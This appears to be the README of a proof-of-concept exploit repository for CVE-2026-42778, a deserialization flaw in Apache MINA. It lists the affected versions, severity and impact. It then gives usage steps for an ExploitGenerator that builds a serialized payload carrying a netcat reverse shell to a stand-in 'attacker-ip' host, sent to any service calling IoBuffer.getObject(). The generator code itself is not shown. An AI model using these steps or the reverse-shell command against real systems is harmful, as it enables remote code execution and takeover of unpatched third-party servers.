akinfue/cve-2026-42778-pocCVE-2026-42778 EUVD-2026-26492 Deserialization of Untrusted Data (CWE-502)
Incomplete fix in Apache MINA AbstractIoBuffer.getObject() method. The classname allowlist validation that restricts which classes can be deserialized is applied too late, after static initializers in classes being read may have already executed. This occurs because the original fix for CVE-2024-52046 was not properly applied to the 2.1.X and 2.2.X branches. Affected versions: - Apache MINA 2.1.0 through 2.1.11 - Apache MINA 2.2.0 through 2.2.6
CVE ID: CVE-2026-42778
Published: 05/01/2026
Impact: Critical
Exploit Availability: Not public, only private.
CVSS: 9.8
Patch Available: (No official patch yet)
An attacker can craft malicious serialized objects that, when processed by IoBuffer.getObject(), execute arbitrary code through static initializers before the classname allowlist validation occurs. Since this is a network-accessible vulnerability requiring no privileges or user interaction, remote code execution is possible for any application using Apache MINA that calls the IoBuffer.getObject() method. The vulnerability allows complete compromise of confidentiality, integrity, and availability of affected systems.
# Compile and generate
javac ExploitGenerator.java
java ExploitGenerator "nc -e /bin/sh attacker-ip 4444"
# Send over the network to MINA-based service using ObjectSerializationCodecFactory
# or any endpoint that calls IoBuffer.getObject()